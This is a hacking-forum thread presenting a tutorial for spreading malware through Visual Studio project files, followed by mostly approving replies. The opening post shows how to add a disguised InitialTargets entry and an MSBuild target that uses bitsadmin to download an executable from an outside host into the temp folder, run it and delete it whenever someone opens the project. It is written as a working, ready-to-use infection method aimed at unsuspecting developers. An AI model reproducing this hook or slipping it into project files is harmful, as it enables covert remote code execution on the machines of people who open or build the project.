Thread: [\[TUT\] Visual Studio Oday Exploit \[Spread Through Visual Studio\] \[FUD\]](#)

Furz - December 12, 2016, 8:52 am

Step 1: Create a new project in visual studio

Step 2: Find the .vbproj/.csproj file and edit it

Step 3: On the second line, it should have something similar to this

PHP Code

```
<?php
```

```
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
```

Edit this like to include

PHP Code

```
<?php
```

```
InitialTargets="Build"
```

The name can be whatever you want, I just thought "build" would be inconspicuous

The final product will look like:

PHP Code

```
<?php
```

```
<Project ToolsVersion="14.0" InitialTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
```

Step 4:

Add this to the end of the file, but before the closing "</project>" tag

PHP Code

```
<?php
```

```
<Target Name="Buislfd">
```

```
  <Exec Command=
```

```
"bitsadmin.exe /transfer NAME http://directdownload.to/your.exe %temp%\1.exe" >
```

```
  <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
```

```
</Exec>
```

```
  <Exec Command="%temp%\1.exe" >
```

```
  <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
```

```
</Exec>
```

```
  <Exec Command="del %temp%\1.exe" >
```

```
  <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
```

```
</Exec>
```

```
  <Message Importance="high" Text="$(ErrorCode)" />
```

```
</Target>
```

And save the file

Now, whenever someone runs opens your project in Visual Studio, it will download and exec your file

Plus I've seen something very similar on another forum. Good share though.

Bossk - December 12, 2016, 11:01 am

Well, I'm never looking at source code again. Thanks for the share

DopplerAF - December 12, 2016, 11:09 am

(Dec 12, 2016 12:01 PM)Bossk Wrote: [\[CITE\]](#) Well, I'm never looking at source code again. Thanks for the shareYou can always check the file before opening it.

This is a way old method and obviously its not a 0day.

JavaDriveBy - December 12, 2016, 11:13 am

Posting to comeback later.

Kryptonnet - May 11, 2017, 11:23 pm

Eyy it does not work Can someone help me with this

SIM-2564555 - November 4, 2017, 11:57 pm

good method but it known for ages, also all users get notifications before start any project and every one can check it manually before using the project

Phire - November 5, 2017, 12:08 am

Didn't know about this one, nice share..

fxbg - November 5, 2017, 12:10 am

Just so we are clear, this isn't an exploit, its functionality.

HiddenEyE - May 26, 2018, 10:18 pm

nice to have you share it here mate

xfamily123 - May 28, 2018, 8:36 am

good method and good job !
